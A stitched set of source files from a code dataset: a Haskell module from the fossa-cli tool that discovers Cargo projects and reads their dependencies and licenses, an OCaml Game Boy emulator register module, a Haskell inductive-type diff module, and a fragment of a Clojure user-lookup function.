, nodeDepTarget :: Maybe Text.Text
}
deriving (Eq, Ord, Show)
data NodeDependency = NodeDependency
{ nodePkg :: PackageId
, nodeDepKinds :: [NodeDepKind]
}
deriving (Eq, Ord, Show)
data ResolveNode = ResolveNode
{ resolveNodeId :: PackageId
, resolveNodeDeps :: [NodeDependency]
}
deriving (Eq, Ord, Show)
newtype Resolve = Resolve
{ resolvedNodes :: [ResolveNode]
}
deriving (Eq, Ord, Show)
data CargoMetadata = CargoMetadata
{ metadataPackages :: [Package]
, metadataWorkspaceMembers :: [PackageId]
, metadataResolve :: Resolve
}
deriving (Eq, Ord, Show)
instance FromJSON PackageDependency where
parseJSON = withObject "PackageDependency" $ \obj ->
PackageDependency
<$> obj .: "name"
<*> obj .: "req"
<*> obj .:? "kind"
instance FromJSON Package where
parseJSON = withObject "Package" $ \obj ->
Package
<$> obj .: "name"
<*> obj .: "version"
<*> (obj .: "id" >>= parsePkgId)
<*> obj .:? "license"
<*> obj .:? "license_file"
<*> obj .: "dependencies"
instance FromJSON NodeDepKind where
parseJSON = withObject "NodeDepKind" $ \obj ->
NodeDepKind
<$> obj .:? "kind"
<*> obj .:? "target"
instance FromJSON NodeDependency where
parseJSON = withObject "NodeDependency" $ \obj ->
NodeDependency
<$> (obj .: "pkg" >>= parsePkgId)
<*> obj .: "dep_kinds"
instance FromJSON ResolveNode where
parseJSON = withObject "ResolveNode" $ \obj ->
ResolveNode
<$> (obj .: "id" >>= parsePkgId)
<*> obj .: "deps"
instance FromJSON Resolve where
parseJSON = withObject "Resolve" $ \obj ->
Resolve <$> obj .: "nodes"
instance FromJSON CargoMetadata where
parseJSON = withObject "CargoMetadata" $ \obj ->
CargoMetadata
<$> obj .: "packages"
<*> (obj .: "workspace_members" >>= traverse parsePkgId)
<*> obj .: "resolve"
discover :: (Has ReadFS sig m, Has Diagnostics sig m, Has (Reader AllFilters) sig m) => Path Abs Dir -> m [DiscoveredProject CargoProject]
discover = simpleDiscover findProjects mkProject CargoProjectType
findProjects :: (Has ReadFS sig m, Has Diagnostics sig m, Has (Reader AllFilters) sig m) => Path Abs Dir -> m [CargoProject]
findProjects = walkWithFilters' $ \dir _ files -> do
case findFileNamed "Cargo.toml" files of
Nothing -> pure ([], WalkContinue)
Just toml -> do
let project =
CargoProject
{ cargoToml = toml
, cargoDir = dir
}
pure ([project], WalkSkipAll)
data CargoProject = CargoProject
{ cargoDir :: Path Abs Dir
, cargoToml :: Path Abs File
}
deriving (Eq, Ord, Show, Generic)
instance ToJSON CargoProject
instance AnalyzeProject CargoProject where
analyzeProject _ = getDeps
analyzeProject' _ = const $ fatalText "Cannot analyze Cargo project statically."
data CargoPackage = CargoPackage
{ license :: Maybe Text.Text
, cargoLicenseFile :: Maybe FilePath
^ Path relative to Cargo.toml containing the license
}
deriving (Eq, Show)
cargoPackageCodec :: TomlCodec CargoPackage
cargoPackageCodec =
CargoPackage
<$> dioptional (Toml.text "license") .= license
<*> dioptional (Toml.string "license-file") .= cargoLicenseFile
|Representation of a Cargo.toml file . See
[ here]( - lang.org / cargo / reference / )
-- for a description of this format.
newtype CargoToml = CargoToml
{cargoPackage :: CargoPackage}
deriving (Eq, Show)
cargoTomlCodec :: TomlCodec CargoToml
cargoTomlCodec = diwrap (Toml.table cargoPackageCodec "package")
-- ^^ The above is a bit obscure. It's generating a TomlCodec CargoPackage and
then using ' diwrap'/Coercible to make a TomlCodec CargoToml . I ca n't use
' CargoToml < $ > ' because TomlCodec aliases ( Codec a a ) and only ( Codec a )
-- has a Functor instance, so I'd end up with a (Codec CargoPackage CargoToml).
instance LicenseAnalyzeProject CargoProject where
licenseAnalyzeProject = analyzeLicenses . cargoToml
|Analyze a Cargo.toml for license information . The format is documented
-- (here)[-lang.org/cargo/reference/manifest.html#the-license-and-license-file-fields]
analyzeLicenses :: (Has ReadFS sig m, Has Diagnostics sig m) => Path Abs File -> m [LicenseResult]
analyzeLicenses tomlPath = do
pkg <- cargoPackage <$> readContentsToml cargoTomlCodec tomlPath
licensePathText <- maybe (pure Nothing) mkLicensePath (cargoLicenseFile pkg)
The license - file field in Cargo.toml is relative to the dir of the
Cargo.toml file . Generate an absolute path to license - file .
let maybeLicense = license pkg
let licenseCon = selectLicenseCon <$> maybeLicense
pure
[ LicenseResult
{ licenseFile = toFilePath tomlPath
, licensesFound =
catMaybes
[ License <$> licenseCon <*> maybeLicense
, License LicenseFile <$> licensePathText
]
}
]
where
mkLicensePath path = case parseRelFile path of
Just p -> pure . Just . toText $ parent tomlPath </> p
Nothing ->
warn ("Cannot parse 'license-file' value: " <> path)
>> pure Nothing
textElem c = isJust . Text.findIndex (== c)
Old versions of Cargo allow ' / ' as a separator between SPDX values in
-- 'license'. In that case 'license' can't be treated as a LicenseSPDX.
selectLicenseCon licenseText =
if textElem '/' licenseText
then UnknownType
else LicenseSPDX
mkProject :: CargoProject -> DiscoveredProject CargoProject
mkProject project =
DiscoveredProject
{ projectType = CargoProjectType
, projectBuildTargets = mempty
, projectPath = cargoDir project
, projectData = project
}
getDeps :: (Has Exec sig m, Has Diagnostics sig m) => CargoProject -> m DependencyResults
getDeps project = do
(graph, graphBreadth) <- context "Cargo" . context "Dynamic analysis" . analyze $ project
pure $
DependencyResults
{ dependencyGraph = graph
, dependencyGraphBreadth = graphBreadth
, dependencyManifestFiles = [cargoToml project]
}
cargoGenLockfileCmd :: Command
cargoGenLockfileCmd =
Command
{ cmdName = "cargo"
, cmdArgs = ["generate-lockfile"]
, cmdAllowErr = Never
}
cargoMetadataCmd :: Command
cargoMetadataCmd =
Command
{ cmdName = "cargo"
, cmdArgs = ["metadata"]
, cmdAllowErr = Never
}
analyze ::
(Has Exec sig m, Has Diagnostics sig m) =>
CargoProject ->
m (Graphing Dependency, GraphBreadth)
analyze (CargoProject manifestDir manifestFile) = do
_ <- context "Generating lockfile" $ errCtx (FailedToGenLockFile manifestFile) $ execThrow manifestDir cargoGenLockfileCmd
meta <- errCtx (FailedToRetrieveCargoMetadata manifestFile) $ execJson @CargoMetadata manifestDir cargoMetadataCmd
graph <- context "Building dependency graph" $ pure (buildGraph meta)
pure (graph, Complete)
newtype FailedToGenLockFile = FailedToGenLockFile (Path Abs File)
instance ToDiagnostic FailedToGenLockFile where
renderDiagnostic (FailedToGenLockFile path) = pretty $ "Could not generate lock file for cargo manifest: " <> (show path)
newtype FailedToRetrieveCargoMetadata = FailedToRetrieveCargoMetadata (Path Abs File)
instance ToDiagnostic FailedToRetrieveCargoMetadata where
renderDiagnostic (FailedToRetrieveCargoMetadata path) = pretty $ "Could not retrieve machine readable cargo metadata for: " <> (show path)
toDependency :: PackageId -> Set CargoLabel -> Dependency
toDependency pkg =
foldr
applyLabel
Dependency
{ dependencyType = CargoType
, dependencyName = pkgIdName pkg
, dependencyVersion = Just $ CEq $ pkgIdVersion pkg
, dependencyLocations = []
, dependencyEnvironments = mempty
, dependencyTags = Map.empty
}
where
applyLabel :: CargoLabel -> Dependency -> Dependency
applyLabel (CargoDepKind env) = insertEnvironment env
-- Possible values here are "build", "dev", and null.
-- Null refers to productions, while dev and build refer to development-time dependencies
Cargo does not differentiate test dependencies and dev dependencies ,
-- so we just simplify it to Development.
kindToLabel :: Maybe Text.Text -> CargoLabel
kindToLabel (Just _) = CargoDepKind EnvDevelopment
kindToLabel Nothing = CargoDepKind EnvProduction
addLabel :: Has (LabeledGrapher PackageId CargoLabel) sig m => NodeDependency -> m ()
addLabel dep = do
let packageId = nodePkg dep
traverse_ (label packageId . kindToLabel . nodeDepKind) $ nodeDepKinds dep
addEdge :: Has (LabeledGrapher PackageId CargoLabel) sig m => ResolveNode -> m ()
addEdge node = do
let parentId = resolveNodeId node
for_ (resolveNodeDeps node) $ \dep -> do
addLabel dep
edge parentId $ nodePkg dep
buildGraph :: CargoMetadata -> Graphing Dependency
buildGraph meta = stripRoot $
run . withLabeling toDependency $ do
traverse_ direct $ metadataWorkspaceMembers meta
traverse_ addEdge $ resolvedNodes $ metadataResolve meta
parsePkgId :: Text.Text -> Parser PackageId
parsePkgId t =
case Text.splitOn " " t of
[a, b, c] -> pure $ PackageId a b c
_ -> fail "malformed Package ID"
| null | https://raw.githubusercontent.com/fossas/fossa-cli/187f19afec2133466d1998c89fc7f1c77107c2b0/src/Strategy/Cargo.hs | haskell | for a description of this format.
^^ The above is a bit obscure. It's generating a TomlCodec CargoPackage and
has a Functor instance, so I'd end up with a (Codec CargoPackage CargoToml).
(here)[-lang.org/cargo/reference/manifest.html#the-license-and-license-file-fields]
'license'. In that case 'license' can't be treated as a LicenseSPDX.
Possible values here are "build", "dev", and null.
Null refers to productions, while dev and build refer to development-time dependencies
so we just simplify it to Development. | module Strategy.Cargo (
discover,
CargoMetadata (..),
CargoProject (..),
NodeDependency (..),
NodeDepKind (..),
PackageId (..),
Resolve (..),
ResolveNode (..),
buildGraph,
getDeps,
mkProject,
findProjects,
) where
import App.Fossa.Analyze.Types (AnalyzeProject (analyzeProject'), analyzeProject)
import App.Pathfinder.Types (LicenseAnalyzeProject (licenseAnalyzeProject))
import Control.Effect.Diagnostics (
Diagnostics,
Has,
ToDiagnostic,
context,
errCtx,
fatalText,
run,
warn,
)
import Control.Effect.Reader (Reader)
import Data.Aeson.Types (
FromJSON (parseJSON),
Parser,
ToJSON,
withObject,
(.:),
(.:?),
)
import Data.Foldable (for_, traverse_)
import Data.Map.Strict qualified as Map
import Data.Maybe (catMaybes, isJust)
import Data.Set (Set)
import Data.String.Conversion (toText)
import Data.Text qualified as Text
import Diag.Diagnostic (renderDiagnostic)
import Discovery.Filters (AllFilters)
import Discovery.Simple (simpleDiscover)
import Discovery.Walk (
WalkStep (WalkContinue, WalkSkipAll),
findFileNamed,
walkWithFilters',
)
import Effect.Exec (
AllowErr (Never),
Command (..),
Exec,
execJson,
execThrow,
)
import Effect.Grapher (
LabeledGrapher,
direct,
edge,
label,
withLabeling,
)
import Effect.ReadFS (ReadFS, readContentsToml)
import GHC.Generics (Generic)
import Graphing (Graphing, stripRoot)
import Path (Abs, Dir, File, Path, parent, parseRelFile, toFilePath, (</>))
import Prettyprinter (Pretty (pretty))
import Toml (TomlCodec, dioptional, diwrap, (.=))
import Toml qualified
import Types (
DepEnvironment (EnvDevelopment, EnvProduction),
DepType (CargoType),
Dependency (..),
DependencyResults (..),
DiscoveredProject (..),
DiscoveredProjectType (CargoProjectType),
GraphBreadth (Complete),
License (License),
LicenseResult (LicenseResult, licenseFile, licensesFound),
LicenseType (LicenseFile, LicenseSPDX, UnknownType),
VerConstraint (CEq),
insertEnvironment,
)
newtype CargoLabel
= CargoDepKind DepEnvironment
deriving (Eq, Ord, Show)
data PackageId = PackageId
{ pkgIdName :: Text.Text
, pkgIdVersion :: Text.Text
, pkgIdSource :: Text.Text
}
deriving (Eq, Ord, Show)
data PackageDependency = PackageDependency
{ pkgDepName :: Text.Text
, pkgDepReq :: Text.Text
, pkgDepKind :: Maybe Text.Text
}
deriving (Eq, Ord, Show)
data Package = Package
{ pkgName :: Text.Text
, pkgVersion :: Text.Text
, pkgId :: PackageId
, pkgLicense :: Maybe Text.Text
, pkgLicenseFile :: Maybe Text.Text
, pkgDependencies :: [PackageDependency]
}
deriving (Eq, Ord, Show)
data NodeDepKind = NodeDepKind
{ nodeDepKind :: Maybe Text.Text
, nodeDepTarget :: Maybe Text.Text
}
deriving (Eq, Ord, Show)
data NodeDependency = NodeDependency
{ nodePkg :: PackageId
, nodeDepKinds :: [NodeDepKind]
}
deriving (Eq, Ord, Show)
data ResolveNode = ResolveNode
{ resolveNodeId :: PackageId
, resolveNodeDeps :: [NodeDependency]
}
deriving (Eq, Ord, Show)
newtype Resolve = Resolve
{ resolvedNodes :: [ResolveNode]
}
deriving (Eq, Ord, Show)
data CargoMetadata = CargoMetadata
{ metadataPackages :: [Package]
, metadataWorkspaceMembers :: [PackageId]
, metadataResolve :: Resolve
}
deriving (Eq, Ord, Show)
instance FromJSON PackageDependency where
parseJSON = withObject "PackageDependency" $ \obj ->
PackageDependency
<$> obj .: "name"
<*> obj .: "req"
<*> obj .:? "kind"
instance FromJSON Package where
parseJSON = withObject "Package" $ \obj ->
Package
<$> obj .: "name"
<*> obj .: "version"
<*> (obj .: "id" >>= parsePkgId)
<*> obj .:? "license"
<*> obj .:? "license_file"
<*> obj .: "dependencies"
instance FromJSON NodeDepKind where
parseJSON = withObject "NodeDepKind" $ \obj ->
NodeDepKind
<$> obj .:? "kind"
<*> obj .:? "target"
instance FromJSON NodeDependency where
parseJSON = withObject "NodeDependency" $ \obj ->
NodeDependency
<$> (obj .: "pkg" >>= parsePkgId)
<*> obj .: "dep_kinds"
instance FromJSON ResolveNode where
parseJSON = withObject "ResolveNode" $ \obj ->
ResolveNode
<$> (obj .: "id" >>= parsePkgId)
<*> obj .: "deps"
instance FromJSON Resolve where
parseJSON = withObject "Resolve" $ \obj ->
Resolve <$> obj .: "nodes"
instance FromJSON CargoMetadata where
parseJSON = withObject "CargoMetadata" $ \obj ->
CargoMetadata
<$> obj .: "packages"
<*> (obj .: "workspace_members" >>= traverse parsePkgId)
<*> obj .: "resolve"
discover :: (Has ReadFS sig m, Has Diagnostics sig m, Has (Reader AllFilters) sig m) => Path Abs Dir -> m [DiscoveredProject CargoProject]
discover = simpleDiscover findProjects mkProject CargoProjectType
findProjects :: (Has ReadFS sig m, Has Diagnostics sig m, Has (Reader AllFilters) sig m) => Path Abs Dir -> m [CargoProject]
findProjects = walkWithFilters' $ \dir _ files -> do
case findFileNamed "Cargo.toml" files of
Nothing -> pure ([], WalkContinue)
Just toml -> do
let project =
CargoProject
{ cargoToml = toml
, cargoDir = dir
}
pure ([project], WalkSkipAll)
data CargoProject = CargoProject
{ cargoDir :: Path Abs Dir
, cargoToml :: Path Abs File
}
deriving (Eq, Ord, Show, Generic)
instance ToJSON CargoProject
instance AnalyzeProject CargoProject where
analyzeProject _ = getDeps
analyzeProject' _ = const $ fatalText "Cannot analyze Cargo project statically."
data CargoPackage = CargoPackage
{ license :: Maybe Text.Text
, cargoLicenseFile :: Maybe FilePath
^ Path relative to Cargo.toml containing the license
}
deriving (Eq, Show)
cargoPackageCodec :: TomlCodec CargoPackage
cargoPackageCodec =
CargoPackage
<$> dioptional (Toml.text "license") .= license
<*> dioptional (Toml.string "license-file") .= cargoLicenseFile
|Representation of a Cargo.toml file . See
[ here]( - lang.org / cargo / reference / )
newtype CargoToml = CargoToml
{cargoPackage :: CargoPackage}
deriving (Eq, Show)
cargoTomlCodec :: TomlCodec CargoToml
cargoTomlCodec = diwrap (Toml.table cargoPackageCodec "package")
then using ' diwrap'/Coercible to make a TomlCodec CargoToml . I ca n't use
' CargoToml < $ > ' because TomlCodec aliases ( Codec a a ) and only ( Codec a )
instance LicenseAnalyzeProject CargoProject where
licenseAnalyzeProject = analyzeLicenses . cargoToml
|Analyze a Cargo.toml for license information . The format is documented
analyzeLicenses :: (Has ReadFS sig m, Has Diagnostics sig m) => Path Abs File -> m [LicenseResult]
analyzeLicenses tomlPath = do
pkg <- cargoPackage <$> readContentsToml cargoTomlCodec tomlPath
licensePathText <- maybe (pure Nothing) mkLicensePath (cargoLicenseFile pkg)
The license - file field in Cargo.toml is relative to the dir of the
Cargo.toml file . Generate an absolute path to license - file .
let maybeLicense = license pkg
let licenseCon = selectLicenseCon <$> maybeLicense
pure
[ LicenseResult
{ licenseFile = toFilePath tomlPath
, licensesFound =
catMaybes
[ License <$> licenseCon <*> maybeLicense
, License LicenseFile <$> licensePathText
]
}
]
where
mkLicensePath path = case parseRelFile path of
Just p -> pure . Just . toText $ parent tomlPath </> p
Nothing ->
warn ("Cannot parse 'license-file' value: " <> path)
>> pure Nothing
textElem c = isJust . Text.findIndex (== c)
Old versions of Cargo allow ' / ' as a separator between SPDX values in
selectLicenseCon licenseText =
if textElem '/' licenseText
then UnknownType
else LicenseSPDX
mkProject :: CargoProject -> DiscoveredProject CargoProject
mkProject project =
DiscoveredProject
{ projectType = CargoProjectType
, projectBuildTargets = mempty
, projectPath = cargoDir project
, projectData = project
}
getDeps :: (Has Exec sig m, Has Diagnostics sig m) => CargoProject -> m DependencyResults
getDeps project = do
(graph, graphBreadth) <- context "Cargo" . context "Dynamic analysis" . analyze $ project
pure $
DependencyResults
{ dependencyGraph = graph
, dependencyGraphBreadth = graphBreadth
, dependencyManifestFiles = [cargoToml project]
}
cargoGenLockfileCmd :: Command
cargoGenLockfileCmd =
Command
{ cmdName = "cargo"
, cmdArgs = ["generate-lockfile"]
, cmdAllowErr = Never
}
cargoMetadataCmd :: Command
cargoMetadataCmd =
Command
{ cmdName = "cargo"
, cmdArgs = ["metadata"]
, cmdAllowErr = Never
}
analyze ::
(Has Exec sig m, Has Diagnostics sig m) =>
CargoProject ->
m (Graphing Dependency, GraphBreadth)
analyze (CargoProject manifestDir manifestFile) = do
_ <- context "Generating lockfile" $ errCtx (FailedToGenLockFile manifestFile) $ execThrow manifestDir cargoGenLockfileCmd
meta <- errCtx (FailedToRetrieveCargoMetadata manifestFile) $ execJson @CargoMetadata manifestDir cargoMetadataCmd
graph <- context "Building dependency graph" $ pure (buildGraph meta)
pure (graph, Complete)
newtype FailedToGenLockFile = FailedToGenLockFile (Path Abs File)
instance ToDiagnostic FailedToGenLockFile where
renderDiagnostic (FailedToGenLockFile path) = pretty $ "Could not generate lock file for cargo manifest: " <> (show path)
newtype FailedToRetrieveCargoMetadata = FailedToRetrieveCargoMetadata (Path Abs File)
instance ToDiagnostic FailedToRetrieveCargoMetadata where
renderDiagnostic (FailedToRetrieveCargoMetadata path) = pretty $ "Could not retrieve machine readable cargo metadata for: " <> (show path)
toDependency :: PackageId -> Set CargoLabel -> Dependency
toDependency pkg =
foldr
applyLabel
Dependency
{ dependencyType = CargoType
, dependencyName = pkgIdName pkg
, dependencyVersion = Just $ CEq $ pkgIdVersion pkg
, dependencyLocations = []
, dependencyEnvironments = mempty
, dependencyTags = Map.empty
}
where
applyLabel :: CargoLabel -> Dependency -> Dependency
applyLabel (CargoDepKind env) = insertEnvironment env
Cargo does not differentiate test dependencies and dev dependencies ,
kindToLabel :: Maybe Text.Text -> CargoLabel
kindToLabel (Just _) = CargoDepKind EnvDevelopment
kindToLabel Nothing = CargoDepKind EnvProduction
addLabel :: Has (LabeledGrapher PackageId CargoLabel) sig m => NodeDependency -> m ()
addLabel dep = do
let packageId = nodePkg dep
traverse_ (label packageId . kindToLabel . nodeDepKind) $ nodeDepKinds dep
addEdge :: Has (LabeledGrapher PackageId CargoLabel) sig m => ResolveNode -> m ()
addEdge node = do
let parentId = resolveNodeId node
for_ (resolveNodeDeps node) $ \dep -> do
addLabel dep
edge parentId $ nodePkg dep
buildGraph :: CargoMetadata -> Graphing Dependency
buildGraph meta = stripRoot $
run . withLabeling toDependency $ do
traverse_ direct $ metadataWorkspaceMembers meta
traverse_ addEdge $ resolvedNodes $ metadataResolve meta
parsePkgId :: Text.Text -> Parser PackageId
parsePkgId t =
case Text.splitOn " " t of
[a, b, c] -> pure $ PackageId a b c
_ -> fail "malformed Package ID"
|
dbb977fb4e5461441080ed3476cbd13d402e0b06b7f1ba734858bfc7ca04d640 | Engil/Goodboy | registers.ml | open Sexplib.Std
type t = Bigstringaf.t
type register = int
type flag = int
type paired_register = [ `Af | `Bc | `De | `Hl ] [@@deriving sexp]
let a = 0
let f = 1
let b = 2
let c = 3
let d = 4
let e = 5
let h = 6
let l = 7
let z = 7
let n = 6
let hc = 5
let ca = 4
let register_of_sexp _ = assert false
let sexp_of_register reg =
let name =
match reg with
| 0 -> 'A'
| 1 -> 'F'
| 2 -> 'B'
| 3 -> 'C'
| 4 -> 'D'
| 5 -> 'E'
| 6 -> 'H'
| 7 -> 'L'
| _ -> '?'
in
sexp_of_char name
let flag_of_sexp _ = assert false
let sexp_of_flag flag =
let name =
match flag with
| 4 -> 'Z'
| 5 -> 'N'
| 6 -> 'H'
| 7 -> 'C'
| _ -> '?'
in
sexp_of_char name
let make () =
let t = Bigstringaf.create 8 in
Bigstringaf.set t a '\000';
Bigstringaf.set t f '\000';
Bigstringaf.set t b '\000';
Bigstringaf.set t c '\000';
Bigstringaf.set t d '\000';
Bigstringaf.set t e '\000';
Bigstringaf.set t h '\000';
Bigstringaf.set t l '\000';
t
let get t register = Bigstringaf.get t register
let set t register = Bigstringaf.set t register
let get_pair t = function
| `Af -> (Bigstringaf.get_int16_be t a) land 0xFFF0
| `Bc -> Bigstringaf.get_int16_be t b
| `De -> Bigstringaf.get_int16_be t d
| `Hl -> Bigstringaf.get_int16_be t h
let set_pair t = function
| `Af -> Bigstringaf.set_int16_be t (a land 0xFFF0)
| `Bc -> Bigstringaf.set_int16_be t b
| `De -> Bigstringaf.set_int16_be t d
| `Hl -> Bigstringaf.set_int16_be t h
let set_flag t flag =
let flags = get t f in
set t f (Uint8.set_bit flags flag)
let unset_flag t flag =
let flags = get t f in
set t f (Uint8.unset_bit flags flag)
let toggle_flag t flag =
let flags = get t f in
set t f (Uint8.toggle_bit flags flag)
let is_flag_set t flag =
let flags = get t f in
Uint8.is_bit_set flags flag
let clear_flags t =
unset_flag t z;
unset_flag t n;
unset_flag t hc;
unset_flag t ca
let write_flag registers flag = function true -> set_flag registers flag | false -> unset_flag registers flag
let write_flags ?z:f1 ?n:f2 ?hc:f3 ?ca:f4 r =
let iter_opt f = function
| Some v -> f v
| None -> ()
in
iter_opt (write_flag r z) f1;
iter_opt (write_flag r n) f2;
iter_opt (write_flag r hc) f3;
iter_opt (write_flag r ca) f4
| null | https://raw.githubusercontent.com/Engil/Goodboy/2e9abc243b929d8bdfb7c5d4874ddb8a07c55fac/lib/registers.ml | ocaml | open Sexplib.Std
type t = Bigstringaf.t
type register = int
type flag = int
type paired_register = [ `Af | `Bc | `De | `Hl ] [@@deriving sexp]
let a = 0
let f = 1
let b = 2
let c = 3
let d = 4
let e = 5
let h = 6
let l = 7
let z = 7
let n = 6
let hc = 5
let ca = 4
let register_of_sexp _ = assert false
let sexp_of_register reg =
let name =
match reg with
| 0 -> 'A'
| 1 -> 'F'
| 2 -> 'B'
| 3 -> 'C'
| 4 -> 'D'
| 5 -> 'E'
| 6 -> 'H'
| 7 -> 'L'
| _ -> '?'
in
sexp_of_char name
let flag_of_sexp _ = assert false
let sexp_of_flag flag =
let name =
match flag with
| 4 -> 'Z'
| 5 -> 'N'
| 6 -> 'H'
| 7 -> 'C'
| _ -> '?'
in
sexp_of_char name
let make () =
let t = Bigstringaf.create 8 in
Bigstringaf.set t a '\000';
Bigstringaf.set t f '\000';
Bigstringaf.set t b '\000';
Bigstringaf.set t c '\000';
Bigstringaf.set t d '\000';
Bigstringaf.set t e '\000';
Bigstringaf.set t h '\000';
Bigstringaf.set t l '\000';
t
let get t register = Bigstringaf.get t register
let set t register = Bigstringaf.set t register
let get_pair t = function
| `Af -> (Bigstringaf.get_int16_be t a) land 0xFFF0
| `Bc -> Bigstringaf.get_int16_be t b
| `De -> Bigstringaf.get_int16_be t d
| `Hl -> Bigstringaf.get_int16_be t h
let set_pair t = function
| `Af -> Bigstringaf.set_int16_be t (a land 0xFFF0)
| `Bc -> Bigstringaf.set_int16_be t b
| `De -> Bigstringaf.set_int16_be t d
| `Hl -> Bigstringaf.set_int16_be t h
let set_flag t flag =
let flags = get t f in
set t f (Uint8.set_bit flags flag)
let unset_flag t flag =
let flags = get t f in
set t f (Uint8.unset_bit flags flag)
let toggle_flag t flag =
let flags = get t f in
set t f (Uint8.toggle_bit flags flag)
let is_flag_set t flag =
let flags = get t f in
Uint8.is_bit_set flags flag
let clear_flags t =
unset_flag t z;
unset_flag t n;
unset_flag t hc;
unset_flag t ca
let write_flag registers flag = function true -> set_flag registers flag | false -> unset_flag registers flag
let write_flags ?z:f1 ?n:f2 ?hc:f3 ?ca:f4 r =
let iter_opt f = function
| Some v -> f v
| None -> ()
in
iter_opt (write_flag r z) f1;
iter_opt (write_flag r n) f2;
iter_opt (write_flag r hc) f3;
iter_opt (write_flag r ca) f4
| |
ca37bdb1719803a6ac8ccc0237ad216e569d3ba345f38d18de5d1e4a37730e20 | Ptival/chick | StandardLibraryDiff.hs | {-# LANGUAGE OverloadedStrings #-}
module StandardLibraryDiff
( δBoolToNat,
δListToVec,
δNatToList,
)
where
import qualified Diff.Atom as DA
import qualified Diff.Constructor as DC
import qualified Diff.Inductive as DI
import qualified Diff.List as DL
import qualified Diff.Term as DT
import qualified Diff.Triple as D3
import Parsing (parseMaybeTerm)
import qualified Term.Raw as Raw
import Term.Term (TermX (App, Type, Var), Variable)
import qualified Term.Universe as U
import Text.Printf (printf)
-- do not use `unsafeParseRaw` anywhere else!
unsafeParseRaw :: String -> Raw.Term Variable
unsafeParseRaw s =
case parseMaybeTerm s of
Nothing -> error $ printf "unsafeParseRaw: could not parse %s" s
Just t -> t
δBoolToNat :: DI.Diff Raw.Raw
δBoolToNat = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "nat"
δps = DL.Same
δis = DL.Same
-- for sake of testing, let's permute
δcs = DL.Permute [1, 0] . DL.Modify δfalse . DL.Modify δtrue $ DL.Same
δfalse = DC.Modify (DA.Replace "O") DL.Same DL.Same
δtrue = DC.Modify (DA.Replace "S") δsuccPs DL.Same
δsuccPs = DL.Insert ((), "n", "nat") DL.Same
δNatToList :: DI.Diff Raw.Raw
δNatToList = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "list"
δps = DL.Insert ((), "A", Type U.Type) DL.Same
δis = DL.Same
δcs = DL.Modify δzeroToNil . DL.Modify δsuccToCons $ DL.Same
δzeroToNil = DC.Modify (DA.Replace "nil") DL.Same DL.Same
δsuccToCons = DC.Modify (DA.Replace "cons") δsuccToConsPs DL.Same
δsuccToConsPs =
DL.Insert ((), "x", "A")
. DL.Modify (D3.Modify DA.Same (DA.Replace "xs") (DT.Replace (unsafeParseRaw "list A")))
$ DL.Same
δListToVec :: DI.Diff Raw.Raw
δListToVec = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "Vec"
δps = DL.Same
δis = DL.Insert ((), "size", "nat") DL.Same
δcs = DL.Modify δnil . DL.Modify δcons $ DL.Same
δnil = DC.Modify (DA.Replace "vnil") DL.Same (DL.Insert ((), "O") DL.Same)
δcons = DC.Modify (DA.Replace "vcons") δconsPs δconsIs
δconsPs =
DL.Keep
. DL.Insert ((), "n", "nat")
. DL.Modify
( D3.Modify
DA.Same
DA.Same
( DT.InsApp
()
(DT.CpyApp (DT.Replace "Vec") DT.Same)
(DT.Replace "n")
)
)
$ DL.Same
δconsIs = DL.Insert ((), App () (Var Nothing "S") (Var Nothing "n")) DL.Same
| null | https://raw.githubusercontent.com/Ptival/chick/a5ce39a842ff72348f1c9cea303997d5300163e2/backend/lib/StandardLibraryDiff.hs | haskell | # LANGUAGE OverloadedStrings #
do not use `unsafeParseRaw` anywhere else!
for sake of testing, let's permute |
module StandardLibraryDiff
( δBoolToNat,
δListToVec,
δNatToList,
)
where
import qualified Diff.Atom as DA
import qualified Diff.Constructor as DC
import qualified Diff.Inductive as DI
import qualified Diff.List as DL
import qualified Diff.Term as DT
import qualified Diff.Triple as D3
import Parsing (parseMaybeTerm)
import qualified Term.Raw as Raw
import Term.Term (TermX (App, Type, Var), Variable)
import qualified Term.Universe as U
import Text.Printf (printf)
unsafeParseRaw :: String -> Raw.Term Variable
unsafeParseRaw s =
case parseMaybeTerm s of
Nothing -> error $ printf "unsafeParseRaw: could not parse %s" s
Just t -> t
δBoolToNat :: DI.Diff Raw.Raw
δBoolToNat = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "nat"
δps = DL.Same
δis = DL.Same
δcs = DL.Permute [1, 0] . DL.Modify δfalse . DL.Modify δtrue $ DL.Same
δfalse = DC.Modify (DA.Replace "O") DL.Same DL.Same
δtrue = DC.Modify (DA.Replace "S") δsuccPs DL.Same
δsuccPs = DL.Insert ((), "n", "nat") DL.Same
δNatToList :: DI.Diff Raw.Raw
δNatToList = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "list"
δps = DL.Insert ((), "A", Type U.Type) DL.Same
δis = DL.Same
δcs = DL.Modify δzeroToNil . DL.Modify δsuccToCons $ DL.Same
δzeroToNil = DC.Modify (DA.Replace "nil") DL.Same DL.Same
δsuccToCons = DC.Modify (DA.Replace "cons") δsuccToConsPs DL.Same
δsuccToConsPs =
DL.Insert ((), "x", "A")
. DL.Modify (D3.Modify DA.Same (DA.Replace "xs") (DT.Replace (unsafeParseRaw "list A")))
$ DL.Same
δListToVec :: DI.Diff Raw.Raw
δListToVec = DI.Modify δn δps δis DA.Same δcs
where
δn = DA.Replace "Vec"
δps = DL.Same
δis = DL.Insert ((), "size", "nat") DL.Same
δcs = DL.Modify δnil . DL.Modify δcons $ DL.Same
δnil = DC.Modify (DA.Replace "vnil") DL.Same (DL.Insert ((), "O") DL.Same)
δcons = DC.Modify (DA.Replace "vcons") δconsPs δconsIs
δconsPs =
DL.Keep
. DL.Insert ((), "n", "nat")
. DL.Modify
( D3.Modify
DA.Same
DA.Same
( DT.InsApp
()
(DT.CpyApp (DT.Replace "Vec") DT.Same)
(DT.Replace "n")
)
)
$ DL.Same
δconsIs = DL.Insert ((), App () (Var Nothing "S") (Var Nothing "n")) DL.Same
|
ae3b227a107b1364590d1aab5d931f0ca544aa084962f1c5b47c2e1f9775aa9e | akvo/akvo-flow-api | user.clj | (ns org.akvo.flow-api.boundary.user
(:require [clojure.core.cache :as cache]
org.akvo.flow-api.component.cache
org.akvo.flow-api.component.remote-api
[org.akvo.flow-api.datastore.user :as user]
[org.akvo.flow-api.anomaly :as anomaly]))
(defn get-id [{:keys [cache]} instance-id email]
(cache/lookup @cache [instance-id email]))
